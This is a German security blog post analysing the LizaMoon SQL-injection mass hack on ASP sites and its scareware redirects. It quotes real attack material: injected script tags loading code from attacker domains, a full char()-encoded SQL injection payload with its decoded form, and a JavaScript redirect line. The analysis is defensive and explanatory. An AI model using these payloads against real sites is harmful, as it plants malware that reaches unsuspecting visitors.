LizaMoon - Massenhack mit minimalen Folgen
Aus aktuellem Anlass geht es diese Woche nicht wie angekündigt um Rootkits, sondern um SQL-Massenhacks, Drive-by-Infektionen und Scareware, oder kurz: "LizaMoon".
Alle Jahre wieder...
SQL-Injection-Massenangriffe auf ASP-Seiten scheinen ein Anzeichen für den
Frühling zu sein, denn schon seit einigen Jahren gibt es immer wieder im
Frühling entsprechende Angriffe. Als würden dann ein paar Cyberkriminelle
aus dem Winterschlaf aufwachen oder ihre über den Winter entwickelten
Exploits von der Leine lassen. Auch dieses Jahr ist es wieder so weit. Am
29. März wurden von Websense die ersten infizierten Websites
beobachtet.
Anfangs wurde die Zeile
<script src=http://lizamoon.com/ur.php></script>
in die angegriffenen Seiten eingefügt, nach der der Angriff dann benannt
wurde: "LizaMoon".
Grenzenloses Wachstum
Websense hat über Google die Entwicklung des Massen-Hacks verfolgt: Von anfangs 28.00 Fundstellen (29. März) über 226.000 und 380.000 zu 1.500.000 Fundstellen (31. März).
Das Verfolgen geht recht einfach, man muss dazu ja nur nach den eingeschleusten
Codezeilen suchen, die sich allerdings im Laufe des Angriffs regelmäßig
ändern, da die verwendeten Domains natürlich laufend aus dem Verkehr
gezogen werden. Zuletzt hat Websense daher nur noch nach
<script src=http://*/ur.php></script>
gesucht.
Allerdings werden immer auch etliche "False Positives" gefunden, z.B.
Seiten, auf denen der Code zwar enthalten, aber nicht ausführbar ist.
Das passiert z.B. durch eine Umkodierung der <
- und
>
-Zeichen in ihre HTML-Entities <
und
>
oder weil der Code an einer völlig falschen
Stelle steht, an der das script
-Tag nicht ausgewertet wird.
Zur Zeit (7. April 2010, 11 Uhr) gibt es übrigens ca. 1.940.000 Fundstellen, darunter aber wohl auch sehr viele Berichte über den Angriff und die Fundstellen. Und gerade eben ist wieder eine dazu gekommen - diese Seite hier. Ups...
(K)ein neuer Angriff
Websense konnte die ersten Angriffe inzwischen bis in den Dezember 2010
zurückverfolgen, Trend Micro
berichtet
von entsprechenden Angriffen mit anderen Zieldomains ab dem 25. März.
Laut Cisco
läuft der Angriff bereits seit dem 20. September 2010, dabei wurden bisher
42 Domains als Weiterleitungsziel verwendet - lizamoon.com
ist die 41.
davon. Der Angriff scheint also langsam angefangen zu haben (jedenfalls
ist es nicht weiter aufgefallen), um nun einen Zwischen- oder Endspurt
einzulegen.
Mikko H. Hypponen von F-Secure hat LizaMoon-URLs auf Twitter gefunden, und im GFI LABS Blog wurden Fundstellen in kodierten ViewState-Feldern gemeldet. Da die Cyberkriminellen bei ihren SQL-Injection-Angriffen quasi mit einer Schrotflinte schießen, landet der Schadcode in allen möglichen Datenbankfeldern, und die werden natürlich nicht nur auf Webseiten ausgegeben, sondern auch anderweitig verwendet, z.B. eben beim Tweeten, in ViewState-Feldern oder indem sie als RSS/XML-Feed an Apple gemeldet werden. Dadurch landet der Schadcode natürlich auch an Stellen, an denen man ihn eigentlich nicht vermutet hätte.
Der SQL-Injection-Code
Websense hat als Beispiel den folgenden SQL-Injection-Code veröffentlicht:
+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
Ähnlicher Code wurde von Trend Micro
veröffentlicht.
Dekodiert man die
char()
-Aufrufe,
die ASCII-Werte in Zeichen umwandeln, erhält man
</title><script src=http://google-stats50.info/ur.php></script>
und damit
update Table
set FieldName =
REPLACE( cast(FieldName as varchar(8000) ),
cast(</title><script src=http://google-stats50.info/ur.php></script> as varchar(8000) ),
cast( as varchar(8) )
)--
cast()
dient der Umwandlung von Datentypen,
varchar()
sind Zeichenketten variabler Länge, und
REPLACE
ersetzt Zeichenkette.
Allerdings scheinen die Parameter im REPLACE-Aufruf vertauscht zu sein: Die
erste Zeichenkette (in diesem Fall also FieldName
) wird nach
der zweiten (dem einzuschleusenden Code) durchsucht und dieser durch ein
Leerzeichen oder NULL ersetzt. So bekommt man den Schadcode aus dem String
raus, aber nicht rein. Um ihn rein zu bekommen, müssten zweiter und
dritter Parameter vertauscht werden, so dass die gefundenen Zeichen durch
den Schadcode ersetzt werden.
Außerdem gibt es in Zusammenhang mit diesem Code eine weitere Auffälligkeit: Bereits am 24. September 2010 wurde auf Stack Overflow gefragt, was es damit auf sich hat. Evtl. handelt es sich also um eine Testversion des jetzt verwendeten Codes, denn jetzt wird der Schadcode ja eindeutig in die Websites eingeschleust.
Websense berichtet über Angriffe auf Microsoft SQL Server 2000, 2005 und 2008. Wie üblich, werden aber keine Schwachstelle im SQL-Server selbst, sondern in den betroffenen Webanwendungen ausgenutzt. Die enthalten schlicht und ergreifend SQL-Injection-Schwachstellen. Warum die Massenhacks immer wieder ASP-Seiten treffen und nicht z.B. PHP/MySQL, ist nicht bekannt.
Nachdem der Schadcode über die SQL-Injection in der Datenbank gespeichert wurde, ist die "Arbeit" für die Cyberkriminellen erledigt. Jetzt müssen sie nur noch darauf warten, dass die manipulierten Datenbankeinträge von der Webanwendung in der Ausgabe verwendet werden. Und dabei hoffen, dass sie dabei ausführbar bleiben.
Der Drive-by-Code
Der eingeschleuste Schadcode ist relativ simpel, er sieht z.B. so aus:
document.location = 'http://[Domain der Cyberkriminellen]/scan1b/237?sessionID=0500...';
Der Benutzer wird auf eine bösartige Webseite weitergeleitet, auf der ihm dann ein Fake-Virenscanner untergeschoben werden soll. Der nennt sich Windows Stability Center und findet jede Menge Bedrohungen. Die natürlich alle nicht existieren. Was passiert, wenn ein Benutzer auf so eine präparierte Seite gelangt, hat Websense in einem Video zusammengefasst.
Dancho Danchev hat die URLs zurückverfolgt und eine schöne Übersicht erstellt. Das Ergebnis: Die Domains, die den Fake-Virenscanner letztendlich verbreiten, lassen sich zu wenigen Servern zurückverfolgen. Die Domains wurden mit automatisch erstellten Google-Mail-Accounts registriert, um die Erkennung der Domains an einer einheitlichen E-Mail-Adresse zu verhindern.
Viel Rauch, wenig Feuer
Insgesamt scheint der aktuelle Massenangriff ziemlich harmlos ausgegangen zu sein: Da die von den Cyberkriminellen verwendeten Domains zügig aus dem Verkehr gezogen wurden oder gar nicht erst aktiv waren, der eingeschleuste Weiterleitungscode nicht sehr effektiv ist und keine sehr populären Websites mit entsprechend vielen Besuchern mit dem Schadcode infiziert wurden, ist die Zahl der Opfer relativ gering. Jedenfalls deutlich geringer, als man auf Grund der Fundstellen bei Google befürchten konnte. Laut Cisco wurden im Zeitraum vom 20. September 2010 bis zum 31. März 2011 auch lediglich 1154 Websites infiziert.
Fazit
LizaMoon ist nicht wirklich so gefährlich, wie es anfangs schien. Falls Sie eine ASP.NET-Webanwendung betreiben, sollten Sie aber sicherheitshalber alle SQL-Abfragen absichern. PHP lockt zwar mehr Skriptkiddies an als ASP, dafür bekommt Ihre ASP.NET-Anwendung es gleich mit den richtig bösen Buben zu tun.
Und im Endeffekt ist eine unsichtbare Infektion mit Schadcode, der Ihre Besucher ins Verderben lockt, deutlich schlimmer als ein auf den ersten Blick erkennbares, peinliches Defacement. Denn das betrifft nur Sie, und Ihre Besucher lachen darüber - werden aber deren Rechner wegen Ihres Fehlers mit einem Fake-Virenscanner infiziert, werden Sie kaum darüber lachen können.
In der nächsten Folge geht es, wie bereits angekündigt, um Rootkits.
Übersicht über alle Artikel zum Thema
- Drive-by-Infektionen - Gefahren drohen überall
- Drive-by-Infektionen durch SQL-Injection vorbereitet
- Drive-by-Infektionen: So kommt der Schadcode auf den Server
- Drive-by-Infektionen - Vom Server auf den Client
- Drive-by-Infektionen - Ein Blick auf die Exploits
- Drive-by-Infektionen erkennen und abwehren
- LizaMoon - Massenhack mit minimalen Folgen
- Aktuelles: LizaMoon auf Apples iTunes-Seiten
- Drive-by-Infektionen über präparierte Werbung
Trackbacks
Dipl.-Inform. Carsten Eilers am : Clickjacking gegen Flash, urchin.js und Duqu - nichts als Wiederholungen!
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Lilupophilupop - Eine SQL-Injection-Welle ist unterwegs
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Kommentare zu SQL-Injection-Massenhacks, Drive-by-Infektionen und Exploit-Kits
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Google Hacking - The Next Generation
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : SQL-Injection im Schnelldurchlauf
Vorschau anzeigen
Dipl.-Inform. Carsten Eilers am : Drucksache: windows.developer Magazin 6.2014 - Ein bisschen was zur Sicherheit (nicht nur) des SQL Servers 2014
Vorschau anzeigen
entwickler.de am : PingBack
Die Anzeige des Inhaltes dieses Trackbacks ist leider nicht möglich.entwickler.de am : PingBack
Die Anzeige des Inhaltes dieses Trackbacks ist leider nicht möglich.